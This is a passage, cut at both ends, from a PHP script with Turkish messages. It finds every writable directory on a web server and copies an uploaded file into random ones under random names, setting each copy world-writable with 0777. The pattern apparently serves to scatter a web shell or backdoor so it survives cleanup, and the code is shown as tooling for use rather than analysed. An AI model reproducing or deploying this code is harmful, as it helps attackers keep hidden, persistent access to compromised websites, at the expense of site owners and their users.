isDir() && is_writable($file->getPathname())) { $dirs[] = $file->getPathname(); } } return $dirs; } function randomString($length = 6) { return substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"), 0, $length); } $all_dirs = getAllWritableDirs(__DIR__); $copied = 0; $copied_paths = []; while ($copied < $copy_count && !empty($all_dirs)) { $random_dir = $all_dirs[array_rand($all_dirs)]; $new_file_name = $prefix . randomString() . $extension; $destination = $random_dir . DIRECTORY_SEPARATOR . $new_file_name; if (@copy($tmp_path, $destination)) { chmod($destination, 0777); $copied_paths[] = $destination; $copied++; } } unlink($tmp_path); echo "
Hiçbir dosya kopyalanamadı.
"; } else { echo "